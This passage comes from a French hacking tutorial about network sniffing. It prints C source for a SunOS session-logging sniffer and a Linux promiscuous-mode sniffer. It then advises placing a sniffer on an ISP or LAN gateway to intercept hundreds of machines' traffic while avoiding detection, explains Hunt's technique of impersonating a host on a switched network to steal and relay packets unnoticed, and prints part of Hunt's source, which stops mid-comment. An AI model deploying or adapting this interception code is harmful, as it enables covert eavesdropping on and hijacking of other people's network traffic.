`if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {`

`CLm->PKcnt++;`

`if(length>0)`
`if( (CLm->Length + length) < MAXBUFLEN ) {`
`ADDDATA_NODE( CLm, p,length);`
`} else {`
`END_NODE( CLm, p,length, "DATA LIMIT");`
`}`

`if(TCPFL(TH_FIN|TH_RST)) {`
`END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );`
`}`

`} else {`

`if(TCPFL(TH_SYN)) {`
`ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);`
`}`

`}`

`IDLE_NODE();`

`}`

`}`

`/* signal handler`
`*/`
`void death()`
`{ register struct CREC *CLe;`

`while(CLe=CLroot)`
`END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");`

`fprintf(LOG,"\nLog ended at => %s\n",NOWtm());`
`fflush(LOG);`
`if(LOG != stdout)`
`fclose(LOG);`
`exit(1);`
`}`

`/* opens network interface, performs ioctls and reads from it,`
`* passing data to filter function`
`*/`
`void do_it()`
`{`
`int cc;`
`char *buf;`
`u_short sp_ts_len;`

`if(!(buf=malloc(CHUNKSIZE)))`
`Pexit(1,"Eth: malloc");`

`/* this /dev/nit initialization code pinched from etherfind */`
`{`
`struct strioctl si;`
`struct ifreq ifr;`
`struct timeval timeout;`
`u_int chunksize = CHUNKSIZE;`
`u_long if_flags = NI_PROMISC;`

`if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)`
`Pexit(1,"Eth: nit open");`

`if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)`
`Pexit(1,"Eth: ioctl (I_SRDOPT)");`

`si.ic_timout = INFTIM;`

`if(ioctl(if_fd, I_PUSH, "nbuf") < 0)`
`Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");`

`timeout.tv_sec = 1;`
`timeout.tv_usec = 0;`
`si.ic_cmd = NIOCSTIME;`
`si.ic_len = sizeof(timeout);`
`si.ic_dp = (char *)&timeout;`
`if(ioctl(if_fd, I_STR, (char *)&si) < 0)`
`Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");`

`si.ic_cmd = NIOCSCHUNK;`
`si.ic_len = sizeof(chunksize);`
`si.ic_dp = (char *)&chunksize;`
`if(ioctl(if_fd, I_STR, (char *)&si) < 0)`
`Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");`

`strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));`
`ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';`
`si.ic_cmd = NIOCBIND;`
`si.ic_len = sizeof(ifr);`
`si.ic_dp = (char *)&ifr;`
`if(ioctl(if_fd, I_STR, (char *)&si) < 0)`
`Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");`

`si.ic_cmd = NIOCSFLAGS;`
`si.ic_len = sizeof(if_flags);`
`si.ic_dp = (char *)&if_flags;`
`if(ioctl(if_fd, I_STR, (char *)&si) < 0)`
`Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");`

`if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)`
`Pexit(1,"Eth: ioctl (I_FLUSH)");`
`}`

`while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {`
`register char *bp = buf,`
`*bufstop = (buf + cc);`

`while (bp < bufstop) {`
`register char *cp = bp;`
`register struct nit_bufhdr *hdrp;`

`hdrp = (struct nit_bufhdr *)cp;`
`cp += sizeof(struct nit_bufhdr);`
`bp += hdrp->nhb_totlen;`
`filter(cp, (u_long)hdrp->nhb_msglen);`
`}`
`}`
`Pexit((-1),"Eth: read");`
`}`
`/* Yo Authorize your proogie,generate your own password and uncomment here */`
`/* #define AUTHPASSWD "EloiZgZejWyms"`

`void getauth()`
`{ char *buf,*getpass(),*crypt();`
`char pwd[21],prmpt[81];`

`strcpy(pwd,AUTHPASSWD);`
`sprintf(prmpt,"(%s)UP? ",ProgName);`
`buf=getpass(prmpt);`
`if(strcmp(pwd,crypt(buf,pwd)))`
`exit(1);`
`}`
`*/`
`void main(argc, argv)`
`int argc;`
`char **argv;`
`{`
`char cbuf[BUFSIZ];`
`struct ifconf ifc;`
`int s,`
`ac=1,`
`backg=0;`

`ProgName=argv[0];`

`/* getauth(); */`

`LOG=NULL;`
`device=NULL;`
`while((ac<argc) && (argv[ac][0] == '-')) {`
`register char ch = argv[ac++][1];`
`switch(toupper(ch)) {`
`case 'I': device=argv[ac++];`
`break;`
`case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))`
`Zexit(1,"Output file cant be opened\n");`
`break;`
`case 'B': backg=1;`
`break;`
`case 'D': debug=1;`
`break;`
`default : fprintf(ERR,`
`"Usage: %s [-b] [-d] [-i interface] [-f file]\n",`
`ProgName);`
`exit(1);`
`}`
`}`

`if(!device) {`
`if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)`
`Pexit(1,"Eth: socket");`

`ifc.ifc_len = sizeof(cbuf);`
`ifc.ifc_buf = cbuf;`
`if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)`
`Pexit(1,"Eth: ioctl");`

`close(s);`
`device = ifc.ifc_req->ifr_name;`
`}`

`fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);`
`fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",`
`(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");`

`if(!LOG)`
`LOG=stdout;`

`signal(SIGINT, death);`
`signal(SIGTERM,death);`
`signal(SIGKILL,death);`
`signal(SIGQUIT,death);`

`if(backg && debug) {`
`fprintf(ERR,"[Cannot bg with debug on]\n");`
`backg=0;`
`}`

`if(backg) {`
`register int s;`

`if((s=fork())>0) {`
`fprintf(ERR,"[pid %d]\n",s);`
`exit(0);`
`} else if(s<0)`
`Pexit(1,"fork");`

`if( (s=open("/dev/tty",O_RDWR))>0 ) {`
`ioctl(s,TIOCNOTTY,(char *)NULL);`
`close(s);`
`}`
`}`
`fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());`
`fflush(LOG);`

`do_it();`
`}`

- A faire tourner sous Linux, et toujours des sniffers, linux_sniffer. A compiler en C:

`/* ipl.c 1/3/95 by loq */`
`/* monitors ip packets for Linux */`
`#include <sys/types.h>`
`#include <sys/socket.h>`
`#include <sys/time.h>`
`#include <netinet/in.h>`
`#include <linux/if.h>`
`#include <signal.h>`
`#include <stdio.h>`
`#include <linux/socket.h>`
`#include <linux/ip.h>`
`#include <linux/tcp.h>`
`#include <linux/if_ether.h>`

`#define BUFLEN 8192`
`#define ETHLINKHDR 14`

`print_data(int count, char *buff)`
`{`
`int i,j,c;`
`int printnext=1;`
`if(count)`
`{`
`if(count%16)`
`c=count+(16-count%16);`
`else c=count;`
`}`
`else`
`c=count;`
`for(i=0;i<c;i++)`
`{`
`if(printnext) { printnext--; printf("%.4x ",i&0xffff); }`
`if(i<count)`
`printf("%3.2x",buff[i]&0xff);`
`else`
`printf(" ");`
`if(!((i+1)%8))`
`if((i+1)%16)`
`printf(" -");`
`else`
`{`
`printf(" ");`
`for(j=i-15;j<=i;j++)`
`if(j<count) {`
`if( (buff[j]&0xff) >= 0x20 &&`
`(buff[j]&0xff)<=0x7e)`
`printf("%c",buff[j]&0xff);`
`else printf(".");`
`} else printf(" ");`
`printf("\n"); printnext=1;`
`}`
`}`
`}`

`int`
`initdevice(device, pflag)`
`char *device;`
`int pflag;`
`{`
`#define PROTO htons(0x0800) /* Ethernet code for IP protocol */`

`int if_fd=0;`
`struct ifreq ifr;`

`if ( (if_fd=socket(AF_INET,SOCK_PACKET,PROTO)) < 0 ) {`
`perror("Can't get socket");`
`exit(2);`
`}`

`strcpy(ifr.ifr_name, device); /* interface we're gonna use */`
`if( ioctl(if_fd, SIOCGIFFLAGS, &ifr) < 0 ) { /* get flags */`
`close(if_fd);`
`perror("Can't get flags");`
`exit(2);`
`}`
`#if 1`
`if ( pflag )`
`ifr.ifr_flags |= IFF_PROMISC; /* set promiscuous mode */`
`else`
`ifr.ifr_flags &= ~(IFF_PROMISC);`
`#endif`

`if( ioctl(if_fd, SIOCSIFFLAGS, &ifr) < 0 ) { /* set flags */`
`close(if_fd);`
`perror("Can't set flags");`
`exit(2);`
`}`
`return if_fd;`
`}`

`struct etherpacket {`
`struct ethhdr eth;`
`struct iphdr ip;`
`struct tcphdr tcp;`
`char data[8192];`
`};`

`main()`
`{`
`int linktype;`
`int if_eth_fd=initdevice("eth0",1);`
`#if 0`
`int if_ppp_fd=initdevice("sl0",1);`
`#endif`
`struct etherpacket ep;`
`struct sockaddr dest;`
`struct iphdr *ip;`
`struct tcphdr *tcp;`
`struct timeval timeout;`
`fd_set rd,wr;`
`int dlen;`
`#if 0`
`struct slcompress *slc=slhc_init(64,64);`
`#endif`

`for(;;)`
`{`
`bzero(&dest,sizeof(dest));`
`dlen=0;`
`FD_ZERO(&rd);`
`FD_ZERO(&wr);`
`FD_SET(if_eth_fd,&rd);`
`#if 0`
`FD_SET(if_ppp_fd,&rd);`
`#endif`
`timeout.tv_sec=0;`
`timeout.tv_usec=0;`
`ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);`
`tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);`
`while(timeout.tv_sec==0 && timeout.tv_usec==0)`
`{`
`timeout.tv_sec=10;`
`timeout.tv_usec=0;`
`select(20,&rd,&wr,NULL,&timeout);`
`if(FD_ISSET(if_eth_fd,&rd))`
`{`
`printf("eth\n");`
`recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen);`
`}`
`#if 0`
`else`
`if(FD_ISSET(if_ppp_fd,&rd))`
`{`
`recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen);`
`printf("ppp\n");`
`}`
`#endif`
`}`

`printf("proto: %.4x",ntohs(ep.eth.h_proto));`
`#if 0`
`if(ep.eth.h_proto==ntohs(8053))`
`{`
`slhc_uncompress(slc,&ep,sizeof(ep));`
`}`
`#endif`

`if(ep.eth.h_proto==ntohs(ETH_P_IP))`
`{`
`printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->",`
`ep.eth.h_source[0],ep.eth.h_source[1],`
`ep.eth.h_source[2],ep.eth.h_source[3],`
`ep.eth.h_source[4],ep.eth.h_source[5]);`
`printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ",`
`ep.eth.h_dest[0],ep.eth.h_dest[1],`
`ep.eth.h_dest[2],ep.eth.h_dest[3],`
`ep.eth.h_dest[4],ep.eth.h_dest[5]);`
`printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));`
`printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));`
`print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),`
`ep.data-2);`
`}`
`}`
`}`

Maintenant que vous savez comment fonctionne voyons quel avantage nous pouvons en tirer: sur un réseau local, qui est connecté à Internet par un serveur (tête de réseau), il suffit de placer un sniffer sur cette même tête de réseau pour que les packets transitant vers lui puis de lui vers le net, soient interceptés. Si vous ne voyez absolument pas ce que celà représente, imaginez un réseau de 500 ordinateurs ou de 500 pc représentés par une adresse IP. Par exemple un ISP quelquonque: les packets peuvent transiter vers lui, et vous vous interceptez chaque packet envoyé par ces 500 machines. EN quelques heures, votre disque dur est mort, rempli. Il existe des sniffers qui font un filtrage d'IP. Appuyez vous sur ce fait ou bien ne filez ces sniffers qu'aux machines visées. ATTENTION: des méthodes de protections ont été élaborées, surtout au niveau du sniffing. Refilez un sniffer et faites vous repérer risque de vous apporter de grosses emmerdes. Il se peut aussi que les packets envoyés par X ordinateur soit crypté, il vous faudra trouver comment les décrypter, de plus ces sniffers ne marchent que quand il y a un hub.

Cas du switch:

Le switch est intelligent; il se comporte de la manière suivante: Quand une machine A veut envoyer quelquechose à la machine C le switch fait passer la trame directement à la machine C sans passer par la machine B à l'instar du hub. C'est là qu'intervient Hunt. Ce programme permet de faire croire au switch que vous êtes la machine C. Bien entendu celà demande à connaitre l'adresse de la machine C. A partir de là, vous récupérez le packet

Et ça va même encore plus loin...:

De plus Hunt, après avoir récupéré le packet, peut l'envoyer à la machine C: ni vu ni connu, voilà qu'un réseau est mis sous surveillance.

Mais:

N'oublions pas que si Hunt permet de récupérer les packets destinés à UNE machine, Hunt ne permet aps l'écoute de tout le réseau à cause du switch.

Infos:

Actuellement Hunt v1.4 est disponible. Celui-ci fonctionne sur: Linux 2.2, GlibC 2.1 with LinuxThreads, Ethernet

Pour les plus curieux d'entre vous, voici le code source de Hunt:

/*
*
* This is free software. You can redistribute it and/or modify under
* the terms of the GNU General Public License version 2.
*
* Copyright (C) 1998 by kra
*
*/
#include "hunt.h"
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <assert.h>

#ifndef IP_OFFMASK
#define IP_OFFMASK 0x1fff
#endif
#ifndef IP_MF
#define IP_MF 0x2000
#endif

int linksock = -1;
int mac_learn_from_ip = 0;

int conn_list_mac = 0;
int conn_list_seq = 0;

struct hash conn_table;
struct hash mac_table;

int hunt_ready = 0;
pthread_mutex_t mutex_hunt_ready = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t cond_hunt_ready = PTHREAD_COND_INITIALIZER;

/*
* list of struct packet_info with information which packets skip in process
* of updating connection
*/
struct list l_skip_update = LIST_INIT(struct packet_info, next);

/*
* lists of functions which pass packets to modules
*/
struct list l_ifunc_ip = LIST_INIT(struct ifunc_item, next_ip);
struct list l_ifunc_tcp = LIST_INIT(struct ifunc_item, next_tcp);
struct list l_ifunc_udp = LIST_INIT(struct ifunc_item, next_udp);
struct list l_ifunc_icmp = LIST_INIT(struct ifunc_item, next_icmp);
struct list l_ifunc_arp = LIST_INIT(struct ifunc_item, next_arp);
struct list l_ifunc_fast_tcp = LIST_INIT(struct ifunc_item, next_tcp);

/*
*
* packet operations
*
*/

static struct list l_packets = LIST_INIT(struct packet, p_next_free);
int packets_allocated = 0;

struct packet *packet_new(void)
{
struct packet *p;

if (!(p = list_pop(&l_packets))) {
if (!(p = malloc(sizeof(struct packet)))) {
perror("malloc");
return NULL;
}
pthread_mutex_init(&p->p_mutex, NULL);
p->p_use_count = 0;
p->p_hdr.p_tcph = NULL;
p->p_data = NULL;
p->p_type = PACKET_NONE;
p->p_ipc = 0;
p->p_ipc_arg = NULL;

packets_allocated++;
}
p->p_use_count = 1;
return p;
}

void packet_copy_data(struct packet *dst, struct packet *src)
{
memcpy(dst->p_raw, src->p_raw, src->p_raw_len);
dst->p_raw_len = src->p_raw_len;
dst->p_type = src->p_type;
dst->p_ethh = (struct ethhdr *)(dst->p_raw +
((char *)src->p_ethh - src->p_raw));
dst->p_iph = (struct iphdr *)(dst->p_raw +
((char *)src->p_iph - src->p_raw));
dst->p_arph = (struct arphdr *)(dst->p_raw +
((char *)src->p_arph - src->p_raw));
dst->p_hdr.p_tcph = (struct tcphdr *)(dst->p_raw +
((char *)src->p_hdr.p_tcph - src->p_raw));
dst->p_data_len = src->p_data_len;
dst->p_data = dst->p_raw + (src->p_data - src->p_raw);
memcpy(dst->p_arg, src->p_arg, sizeof(src->p_arg));
dst->p_ipc = src->p_ipc;
dst->p_ipc_arg = src->p_ipc_arg;
}

void packet_free(struct packet *p)
{
int is_free;

pthread_mutex_lock(&p->p_mutex);
if (--p->p_use_count == 0)
is_free = 1;
else
is_free = 0;
pthread_mutex_unlock(&p->p_mutex);
if (is_free)
list_push(&l_packets, p);
}

void packet_want(struct packet *p)
{
pthread_mutex_lock(&p->p_mutex);
++p->p_use_count;
pthread_mutex_unlock(&p->p_mutex);
}

void packet_flush(struct list *l)
{
struct packet *p;

while ((p = list_pop(l)))
packet_free(p);
}

void packet_preallocate(int count)
{
struct packet **p = alloca(count * sizeof(struct packet *));
int i;

for (i = 0; i < count; i++)
p[i] = packet_new();
for (i = 0; i < count; i++)
packet_free(p[i]);
}

int packet_count(void)
{
return list_count(&l_packets);
}

/*
*
* TCP connection database
*
*/
static inline void fill_uci(struct user_conn_info *uci, struct packet *p)
{
uci->src_addr = p->p_iph->saddr;
uci->dst_addr = p->p_iph->daddr;
uci->src_port = p->p_hdr.p_tcph->source;
uci->dst_port = p->p_hdr.p_tcph->dest;
}

#if 0
static int ht_eq(unsigned int key, struct conn_info *c,
struct packet *p)
{
if (c->src_addr == p->p_iph->saddr &&
c->dst_addr == p->p_iph->daddr &&
c->src_port == p->p_hdr.p_tcph->source &&
c->dst_port == p->p_hdr.p_tcph->dest)
return 1;
if (c->src_addr == p->p_iph->daddr &&
c->dst_addr == p->p_iph->saddr &&
c->src_port == p->p_hdr.p_tcph->dest &&
c->dst_port == p->p_hdr.p_tcph->source)
return 1;
return 0;
}
#endif
static int ht_eq(unsigned int key, struct conn_info *c,
struct user_conn_info *uci)
{
if (c->src_addr == uci->src_addr &&
c->dst_addr == uci->dst_addr &&
c->src_port == uci->src_port &&
c->dst_port == uci->dst_port)
return 1;
if (c->src_addr == uci->dst_addr &&
c->dst_addr == uci->src_addr &&
c->src_port == uci->dst_port &&
c->dst_port == uci->src_port)
return 1;
return 0;
}

void remove_conn_if_dont_match(void)
{
struct hash_iterator hi;
struct conn_info *ci;
unsigned int key;
int count_to_remove = 0;
unsigned int *key_to_remove;
struct conn_info **ci_to_remove;

hash_lock(&conn_table);
count_to_remove = 0;
key_to_remove = alloca(sizeof(unsigned int) * hash_count(&conn_table));
ci_to_remove = alloca(sizeof(struct conn_info *) * hash_count(&conn_table));
hash_iter_set(&hi, &conn_table);
while ((ci = hash_iter_get(&hi, &key))) {
if (!conn_add_match(ci->src_addr, ci->dst_addr, ci->src_port, ci->dst_port)) {
ci_to_remove[count_to_remove] = ci;
key_to_remove[count_to_remove++] = key;
}
}
hash_iter_end(&hi);
for ( ; count_to_remove >= 0; count_to_remove--)
hash_remove(&conn_table, key_to_remove[count_to_remove],
ci_to_remove[count_to_remove]);
hash_unlock(&conn_table);
}

void conn_free(struct conn_info *ci)
{
int free_it;

pthread_mutex_lock(&ci->mutex);
if (--ci->use_count == 0)
free_it = 1;
else
free_it = 0;
pthread_mutex_unlock(&ci->mutex);
if (free_it)
free(ci);
}

struct conn_info *conn_get(struct user_conn_info *uci)
{
unsigned int key;
struct conn_info *ci;

key = uci_generate_key(uci);
hash_lock(&conn_table);
if ((ci = hash_get(&conn_table, key, uci))) {
pthread_mutex_lock(&ci->mutex);
++ci->use_count;
pthread_mutex_unlock(&ci->mutex);
}
hash_unlock(&conn_table);
return ci;
}

int conn_exist(struct user_conn_info *uci)
{
unsigned int key;
struct conn_info *ci;

key = uci_generate_key(uci);
if ((ci = hash_get(&conn_table, key, uci)))
return 1;
else
return 0;
}

static int packet_match(struct packet_info *pi, struct packet *p)
{
struct iphdr *iph = p->p_iph;
struct tcphdr *tcph = p->p_hdr.p_tcph;

if (pi->src_addr == iph->saddr &&
pi->dst_addr == iph->daddr &&
pi->src_port == tcph->source &&
pi->dst_port == tcph->dest &&
pi->src.next_seq == tcph->seq &&
pi->src.next_d_seq == tcph->ack_seq &&
memcmp(pi->src.src_mac, p->p_ethh->h_source, ETH_ALEN) == 0 &&
memcmp(pi->src.dst_mac, p->p_ethh->h_dest, ETH_ALEN) == 0)
return 1;
else
return 0;
}

static int conn_skip_update(struct conn_info *ci, struct packet *p)
{
struct list_iterator iter;
struct packet_info *pi;

list_iter_set(&iter, &l_skip_update);
while ((pi = list_iter_get(&iter))) {
if (packet_match(pi, p)) {
list_iter_end(&iter);
list_remove(&l_skip_update, pi);
return 1;
}
}
list_iter_end(&iter);
return 0;
}

static void __conn_add(struct packet *p, unsigned int key)
{
struct iphdr *iph = p->p_iph;
struct tcphdr *tcph = p->p_hdr.p_tcph;
struct conn_info *ci;
struct host_info *h_src, *h_dst;

ci = malloc(sizeof(struct conn_info));
assert(ci);
memset(ci, 0, sizeof(struct conn_info));
ci->use_count = 1;
pthread_mutex_init(&ci->mutex, NULL);

if (ntohs(tcph->dest) >= 1024 && ntohs(tcph->source) < 1024) {
ci->src_addr = iph->daddr;
ci->dst_addr = iph->saddr;
ci->src_port = tcph->dest;
ci->dst_port = tcph->source;
h_src = &ci->dst;
h_dst = &ci->src;
} else {
ci->src_addr = iph->saddr;
ci->dst_addr = iph->daddr;
ci->src_port = tcph->source;
ci->dst_port = tcph->dest;
h_src = &ci->src;
h_dst = &ci->dst;
}
h_src->next_seq = htonl(ntohl(tcph->seq) + p->p_data_len +
tcph->syn ? 1 : 0);
if (tcph->ack)
h_src->next_d_seq = tcph->ack_seq;
h_src->window = tcph->window;
h_src->id = iph->id;
memcpy(h_src->dst_mac, p->p_ethh->h_dest, ETH_ALEN);
memcpy(h_src->src_mac, p->p_ethh->h_source, ETH_ALEN);

/* guess or try to fill h_dst too */
h_dst->next_seq = h_src->next_d_seq;
h_dst->next_d_seq = h_src->next_seq;
h_dst->window = tcph->window;
h_dst->id = iph->id;
memcpy(h_dst->dst_mac, h_src->src_mac, ETH_ALEN);
memcpy(h_dst->src_mac, h_src->dst_mac, ETH_ALEN);

hash_put(&conn_table, key, ci);

print_new_conn_ind(1);
}

static void ack_storm_notify(struct conn_info *ci, struct user_conn_info *uci)
{
struct timeval tv;
int print_it = 0;

if (!ci->ack_storm_notify_sec) {
gettimeofday(&tv, NULL);
print_it = 1;
} else {
gettimeofday(&tv, NULL);
if (tv.tv_sec - ci->ack_storm_notify_sec >= 10)
print_it = 1;
}
if (print_it) {
set_tty_color(COLOR_BRIGHTRED);
printf("\nhunt: possible ACK storm: ");
print_user_conn_info(uci, 1);
set_tty_color(COLOR_LIGHTGRAY);
ci->ack_storm_notify_sec = tv.tv_sec;
}
}

static void conn_add_update(struct packet *p)
{
static struct user_conn_info last_toadd = {0, 0, 0, 0};
static int last_count = 0;
unsigned int key;
struct conn_info *ci;
struct user_conn_info uci;
unsigned int old_next_d_seq;

fill_uci(&uci, p);
key = uci_generate_key(&uci);

hash_lock(&conn_table);
if ((ci = hash_get(&conn_table, key, &uci)) &&
ht_eq(key, ci, &uci) == 1) {
if (!conn_skip_update(ci, p)) {
struct host_info *h_src, *h_dst;
struct iphdr *iph = p->p_iph;
struct tcphdr *tcph = p->p_hdr.p_tcph;

if (ci->src_addr == iph->saddr &&
ci->dst_addr == iph->daddr &&
ci->src_port == tcph->source &&
ci->dst_port == tcph->dest) {
h_src = &ci->src;
h_dst = &ci->dst;
} else {
h_src = &ci->dst;
h_dst = &ci->src;
}
old_next_d_seq = h_src->next_d_seq;

h_src->next_seq = htonl(ntohl(tcph->seq) +
p->p_data_len);
if (tcph->ack)
h_src->next_d_seq = tcph->ack_seq;
h_src->id = iph->id; /* well, this should be in IP updater not in TCP */
h_src->window = tcph->window;
/* well these can change too :-) */
memcpy(h_src->dst_mac, p->p_ethh->h_dest, ETH_ALEN);
memcpy(h_src->src_mac, p->p_ethh->h_source, ETH_ALEN);
/*
* ACK storm detection
*/
h_src->delta_d_seq += ntohl(h_src->next_d_seq) -
ntohl(old_next_d_seq);
if (++ci->update_count % 400 == 0) {
if (ci->src.delta_d_seq == 0 &&
ci->dst.delta_d_seq == 0) {
ack_storm_notify(ci, &uci);
} else {
ci->src.delta_d_seq = 0;
ci->dst.delta_d_seq = 0;
}
}
}
} else {
/* test if we could add the connection */
if (p->p_data_len > 0) {
/*
* well, it contains data - add it
*/
if (conn_add_policy(p->p_iph, p->p_hdr.p_tcph))
__conn_add(p, key);
} else {
/*
* well, check it this way because we don't want
* to add RST, ACK to FIN, ... as connectinos.
*/
if ((last_toadd.src_addr == p->p_iph->saddr &&
last_toadd.dst_addr == p->p_iph->daddr &&
last_toadd.src_port == p->p_hdr.p_tcph->source &&
last_toadd.dst_port == p->p_hdr.p_tcph->dest) ||
(last_toadd.src_addr == p->p_iph->daddr &&
last_toadd.dst_addr == p->p_iph->saddr &&
last_toadd.src_port == p->p_hdr.p_tcph->dest &&
last_toadd.dst_port == p->p_hdr.p_tcph->source)) {
if (++last_count >= 10) {
last_count = 0;
if (conn_add_policy(p->p_iph, p->p_hdr.p_tcph))
__conn_add(p, key);
}
} else {
last_count = 0;
last_toadd.src_addr = p->p_iph->saddr;
last_toadd.dst_addr = p->p_iph->daddr;
last_toadd.src_port = p->p_hdr.p_tcph->source;
last_toadd.dst_port = p->p_hdr.p_tcph->dest;
}
}
}
hash_unlock(&conn_table);
}

static void conn_del(struct packet *p)
{
struct conn_info *ci;
struct user_conn_info uci;
unsigned int key;
int remove_it = 0;
#if 0
fill_uci(&uci, p);
key = uci_generate_key(&uci);
if ((ci = hash_remove(&conn_table, key, &uci))) {
conn_free(ci);
}
#endif
fill_uci(&uci, p);
key = uci_generate_key(&uci);
hash_lock(&conn_table);
if ((ci = hash_get(&conn_table, key, &uci)) &&
ht_eq(key, ci, &uci) == 1) {
if (!conn_skip_update(ci, p)) {
if (p->p_iph->saddr == ci->src_addr &&
p->p_iph->daddr == ci->dst_addr &&
p->p_hdr.p_tcph->source == ci->src_port &&
p->p_hdr.p_tcph->dest == ci->dst_port) {
/* from source to dest */
if (p->p_hdr.p_tcph->seq == ci->dst.next_d_seq)
remove_it = 1;
} else {
/* from dest to source */
if (p->p_hdr.p_tcph->seq == ci->src.next_d_seq)
remove_it = 1;
}
}
}
if (remove_it) {
if (ci == hash_remove(&conn_table, key, &uci))
conn_free(ci);
hash_unlock(&conn_table);
} else {
hash_unlock(&conn_table);
conn_add_update(p);
}
}

static void conn_add(struct packet *p)
{
struct conn_info *ci;
struct user_conn_info uci;
unsigned int key;

fill_uci(&uci, p);
key = uci_generate_key(&uci);
hash_lock(&conn_table);
if ((ci = hash_get(&conn_table, key, &uci)) &&
ht_eq(key, ci, &uci) == 1) {
conn_add_update(p);
#if 0
ci = hash_remove(&conn_table, key, &uci);
hash_unlock(&conn_table);
conn_free(ci);
hash_lock(&conn_table);
#endif
} else {
__conn_add(p, key);
}
hash_unlock(&conn_table);
}

static void conn_update_table(struct packet *p, struct ethhdr *ethh, struct iphdr *iph)
{
struct tcphdr *tcph = p->p_hdr.p_tcph;

if (tcph->syn && !tcph->ack) {
if (conn_add_policy(iph, tcph)) {
conn_add(p);
}
} else if (tcph->rst || tcph->fin) {
#if 0
if (conn_add_policy(iph, tcph))
#endif
conn_del(p);
} else {
#if 0
if (conn_add_policy(iph, tcph))
#endif
conn_add_update(p);
}
}

/*
*
* function lists
*
*/
static void process_tcp(struct packet *p)
{
struct ifunc_item *li;
struct list_iterator iter;

list_iter_set(&iter, &l_ifunc_tcp);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
}

static void process_udp(struct packet *p)
{
struct ifunc_item *li;
struct list_iterator iter;

list_iter_set(&iter, &l_ifunc_udp);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
}

static void process_icmp(struct packet *p)
{
struct ifunc_item *li;
struct list_iterator iter;

list_iter_set(&iter, &l_ifunc_icmp);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
}

static void process_arp(struct packet *p)
{
struct ifunc_item *li;
struct list_iterator iter;

list_iter_set(&iter, &l_ifunc_arp);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
}

static void process_ip(struct packet *p)
{
struct ifunc_item *li;
struct list_iterator iter;

list_iter_set(&iter, &l_ifunc_ip);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
}

/*
* sample of ifunc
*/
#if 0
struct list m_packet_list = LIST_INIT(struct packet, p_next[MODULE_NR]);

void m_func_tcp(struct packet *p)
{
if (want_it) {
packet_want(p);
list_produce(&m_packet_list, p);
}
}
#endif

static inline void fast_tcp_process(struct packet *p)
{
struct list_iterator iter;
struct ifunc_item *li;

list_lock(&l_ifunc_fast_tcp);
list_iter_set(&iter, &l_ifunc_fast_tcp);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
list_unlock(&l_ifunc_fast_tcp);
}

static void mac_table_update(unsigned int ip, char *mac)
{
struct mac_info *mi;

hash_lock(&mac_table);
if ((mi = hash_get(&mac_table, ip, NULL))) {
if (memcmp(mi->mac, mac, sizeof(mi->mac))) {
pthread_mutex_lock(&mi->mutex);
memcpy(mi->mac, mac, sizeof(mi->mac));
pthread_mutex_unlock(&mi->mutex);
}
} else {
mi = malloc(sizeof(struct mac_info));
assert(mi);
memcpy(mi->mac, mac, sizeof(mi->mac));
pthread_mutex_init(&mi->mutex, NULL);
hash_put(&mac_table, ip, mi);
}
hash_unlock(&mac_table);
}

struct mac_info *mac_info_get(unsigned int ip)
{
struct mac_info *mi;

hash_lock(&mac_table);
if ((mi = hash_get(&mac_table, ip, NULL))) {
pthread_mutex_lock(&mi->mutex);
}
hash_unlock(&mac_table);
return mi;
}

void mac_info_release(struct mac_info *mi)
{
pthread_mutex_unlock(&mi->mutex);
}

static void mac_arp_learn(struct packet *p)
{
unsigned int ip;
char *mac;
struct arpeth_hdr *arpethh;

arpethh = (struct arpeth_hdr *)(p->p_arph + 1);

if (p->p_arph->ar_op == htons(ARPOP_REPLY) ||
p->p_arph->ar_op == htons(ARPOP_REQUEST)) {
ip = *(unsigned int *) arpethh->ar_sip;
mac = arpethh->ar_sha;
if (memcmp(mac, p->p_ethh->h_source, ETH_ALEN) == 0)
mac_table_update(ip, mac);
else
fprintf(stderr, "ARP: MAC src != ARP src for host %s\n", host_lookup(ip, hl_mode));
}
}

static void mac_ip_learn(struct packet *p)
{
unsigned int ip;
char *mac;

ip = p->p_iph->saddr;
mac = p->p_ethh->h_source;
mac_table_update(ip, mac);
/*
